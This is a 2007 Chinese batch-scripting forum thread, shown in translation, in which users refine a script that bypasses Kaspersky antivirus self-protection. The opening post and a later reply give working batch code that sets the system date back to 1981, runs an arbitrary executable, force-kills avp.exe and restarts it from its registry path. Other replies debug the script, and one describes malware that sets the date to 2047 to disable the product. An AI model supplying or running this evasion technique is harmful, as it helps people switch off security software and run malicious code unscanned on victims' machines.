China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-08-06 09:15
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » Bypass Kaspersky Active Defense Batch Script [New Method Encounters Questions] View 2,175 Replies 16
Original Poster Posted 2007-06-29 12:32 ·  中国 浙江 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
There is an online batch script that bypasses the Kaspersky active defense, but every time the date is restored, Kaspersky can't quickly respond back and will be unresponsive for about one minute.

I thought of using the method of ending the process and then restoring to make it respond quickly.

But I encountered a strange problem when writing the batch script.

First, post the code

@echo off
tasklist|findstr /i "avp.exe" && (

set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
call %avpp%
goto exit
)

:exit
echo 结束
pause


The problem is that after starting Kaspersky, the code after the exit label cannot be executed.

I'm really郁闷
Please help from the experts!!!!!

[ Last edited by heicai on 2007-6-29 at 12:59 PM ]
Floor 2 Posted 2007-06-29 13:01 ·  中国 广东 广州 天河区 电信
高级用户
★★★
潜水修练批处理
Credits 788
Posts 366
Joined 2006-12-31 02:43
19-year member
UID 75048
Gender Male
Status Offline
Kaba has driver protection, and the taskkill command cannot access or end its process, unless it is a green version or something like that
正在潜水修练的批处理小白
Floor 3 Posted 2007-06-29 13:02 ·  中国 浙江 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
Originally posted by dikex at 2007-6-29 01:01 PM:
Kaspersky has driver protection, and the taskkill command cannot access or terminate its process, unless it is a portable version or something like that



Change the time to 1981 and then change it back.
At this time, Kaspersky is completely paralyzed. The taskkill command can kill the process!
Floor 4 Posted 2007-06-29 13:36 ·  中国 上海 联通
版主
★★★★★
Credits 9,023
Posts 5,017
Joined 2007-05-31 19:39
19-year member
UID 89899
Gender Male
Status Offline
Floor 5 Posted 2007-06-29 13:39 ·  中国 浙江 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
Originally posted by HAT at 2007-6-29 01:36 PM:
Change call to start



Nonsense, this won't even start Kaspersky.
Floor 6 Posted 2007-06-29 13:47 ·  中国 广东 广州 天河区 电信
高级用户
★★★
潜水修练批处理
Credits 788
Posts 366
Joined 2006-12-31 02:43
19-year member
UID 75048
Gender Male
Status Offline
Pay attention to the wording.

After a call is made, it needs to wait for the called command to finish before executing the next command;

Changing it to start can work, but if there is a space in the path, directly changing it will cause problems;

start "" "path" parameter
正在潜水修练的批处理小白
Floor 7 Posted 2007-06-29 13:53 ·  中国 浙江 电信
中级用户
★★
Credits 385
Posts 156
Joined 2007-01-19 02:32
19-year member
UID 76955
Gender Male
Status Offline
The path in the environment variable of %avpp% is like this "C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

Please tell me how to write start %avpp% specifically above
Floor 8 Posted 2007-06-29 14:41 ·  中国 上海 联通
版主
★★★★★
Credits 9,023
Posts 5,017
Joined 2007-05-31 19:39
19-year member
UID 89899
Gender Male
Status Offline
//Nonsense, this won't even start Kaspersky.

Be low-key Be low-key ^_^
The start command is okay
Floor 9 Posted 2007-06-29 14:47 ·  中国 上海 联通
版主
★★★★★
Credits 9,023
Posts 5,017
Joined 2007-05-31 19:39
19-year member
UID 89899
Gender Male
Status Offline
try this one :)

@echo off
set app=C:\test 1\my test\aa.bat
start "" "%app%"

aa.bat

@echo off
echo My directory has so many spaces, and it can still be executed by start heh heh
pause


My directory has so many spaces, and it can still be executed by start heh heh
Press any key to continue . . .
Floor 10 Posted 2007-06-30 21:37 ·  中国 贵州 铜仁 电信
初级用户
Credits 51
Posts 21
Joined 2007-06-27 20:32
19-year member
UID 92534
Gender Male
Status Offline
@echo off
tasklist|findstr /i "avp.exe" && (

set date=%date%
date 1981-01-01
ping -n 12 localhost > nul
haha.exe
date %date%
taskkill /f /t /im avp.exe
for /f "skip=4 tokens=3-7" %%i in ('reg QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\AVP /v ImagePath
') do (
set avpp=%%i %%j %%k %%l %%m
goto restart
)
:restart
start "" %avpp%
goto exit
)

:exit
echo Done
pause



Changed to this~!
一直都很菜~!!!
Floor 11 Posted 2007-06-30 22:40 ·  中国 湖北 武汉 电信
新手上路
Credits 16
Posts 6
Joined 2006-11-08 13:49
19-year member
UID 70045
Gender Male
Status Offline
Still not working. It says that framedyn.dll was not found, so this program failed to start
Floor 12 Posted 2007-08-23 15:50 ·  中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
Credits 199
Posts 105
Joined 2007-06-05 12:00
19-year member
UID 90300
Gender Male
From 江苏
Status Offline
You just know that Kaba hasn't considered the problem of you changing the time. Save some time, hug the cat, and browse the forum to study.
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
Floor 13 Posted 2007-08-23 19:07 ·  中国 山西 临汾 联通
中级用户
★★
Credits 216
Posts 81
Joined 2007-08-06 12:23
19-year member
UID 94721
Gender Male
Status Offline
Last time I saw a virus online that changed the time to 2047 at once, and then the Kaspersky expired and couldn't be used. At this time, its self-protection function failed. At this time, you can K it off.
Floor 14 Posted 2007-08-24 03:20 ·  中国 北京 中国科学院研究生院玉泉四公寓
银牌会员
★★★
Credits 1,187
Posts 555
Joined 2006-12-21 07:35
19-year member
UID 74129
Gender Male
Status Offline
Originally posted by heicai at 2007-6-29 13:53:
The path in the environment variable of %avpp% is like this: "C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\avp.exe"

Please tell the person above sta ...


Do a full disk search


for %%a in (c d e f) do (
for /f %%b in ('dir /s %%a:\avp.exe') do set avp-%%a=%%~fb
)

Then call avp-%%a
This is simple
I won't write it out

[ Last edited by scriptor on 2007-8-24 at 03:23 AM ]
Floor 15 Posted 2007-08-24 14:21 ·  中国 广东 中山 电信
初级用户
Credits 128
Posts 16
Joined 2007-01-26 04:00
19-year member
UID 77697
Gender Male
Status Offline
Swe sweat.. studying this. Not going to make a virus, right??
But, also learned. Hehe
Changing the system time can really kill Kaspersky?
Gotta test it
Forum Jump: